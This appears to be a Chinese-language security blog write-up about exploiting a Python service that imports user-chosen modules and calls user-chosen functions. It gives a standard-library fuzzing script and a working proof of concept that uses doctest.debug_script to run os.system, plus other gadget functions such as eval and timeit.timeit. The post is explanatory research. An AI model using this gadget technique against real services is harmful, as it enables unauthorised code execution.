问题背景
在一次安全评估过程中,遇到了一个命令执行的点,但是存在部分限制。
服务是用Python写的,漏洞点的代码精简一下大概如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import importlib
class AnyClass(object): pass
user_input_module = "" # 用户可控 user_input_function = "" # 用户可控 user_input_argument = "" # 用户可控 imp_module = importlib.import_module(user_input_module) func = getattr(imp_module, user_input_function)
arg = bytes(user_input_argument.encode("utf-8")) func(arg, AnyClass()) # 第二个参数必须存在
|
大概就是 任意模块.任意函数(任意字符串,不可控的实例参数)
。
因为第二个参数必须存在,所以不能简单的调用 os.system
函数来执行命令。
我的想法就变成,怎么找到一个方法能够执行命令,且这个方法有两个参数,且第二个参数不影响命令执行。
分析过程
想到去遍历Python库,来看看有没有满足上述条件的方法。
于是写了一小段代码来遍历Python默认安装的所有模块,扔给指定参数来尝试调用模块中的方法。如果没有报错,就打印函数后人工排查一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| # coding:utf-8 import os import re import importlib
class AnyClass(object): pass
def fuzz_object(o): """ :param o: :return: """ for k in o.__dict__: # print(k) v = o.__dict__[k] if callable(v): # 遍历模块所有的函数 try: v(b"xxxx", AnyClass()) # 如果函数接受两个参数,且第一个参数是bytes类型,第二个参数可以是任意实例,就把函数名打印出来。 print(o.__file__, k) except Exception as _: pass
if __name__ == "__main__": abs_path = "/usr/local/Cellar/python/3.7.7/Frameworks/Python.framework/Versions/3.7/lib/python3.7" for i in os.listdir(abs_path): # 遍历Python自带的基础库 if os.path.isfile(abs_path + "/" + i): imp_module = re.sub(r'\.py$', "", i) try: ip_module = importlib.import_module(imp_module)
fuzz_object(ip_module) except Exception as _: print(_) except KeyboardInterrupt: pass elif i not in [".", ".."]: # 这里就不处理目录了 pass
|
结果测出很多函数都可以正常运行,没有报错。
先说最终结论,doctest.debug_script
函数完全满足要求
测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import importlib
class AnyClass(object): pass
user_input_module = "doctest" user_input_function = "debug_script" user_input_argument = "import os;os.system('touch /tmp/qwer')" # 执行 touch /tmp/qwer imp_module = importlib.import_module(user_input_module) func = getattr(imp_module, user_input_function)
arg = bytes(user_input_argument.encode("utf-8")) func(arg, AnyClass())
|
测试过程中,也发现有很多其他的部分满足需求的函数,这里也一并记录。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| os.getenvb 可以读环境变量
eval(xx,{}) 可以命令执行,但是需要第二个参数是dict
pickletools.dis 输出opcode
webbrowser.open("http://www.baidu.com",object)
./idlelib/calltip.get_entity
timeit.timeit() 符合要求
os.fwalk
doctest.debug_script 完全符合要求,可以用来命令执行
|
总结
寻找满足特定条件的X时,用遍历的思想让程序去找,总会有点收获。
在另外一次针对bash脚本代码审计时也用到了这个简单但有效果的方法,找到了突破点。后面会写一篇介绍 :)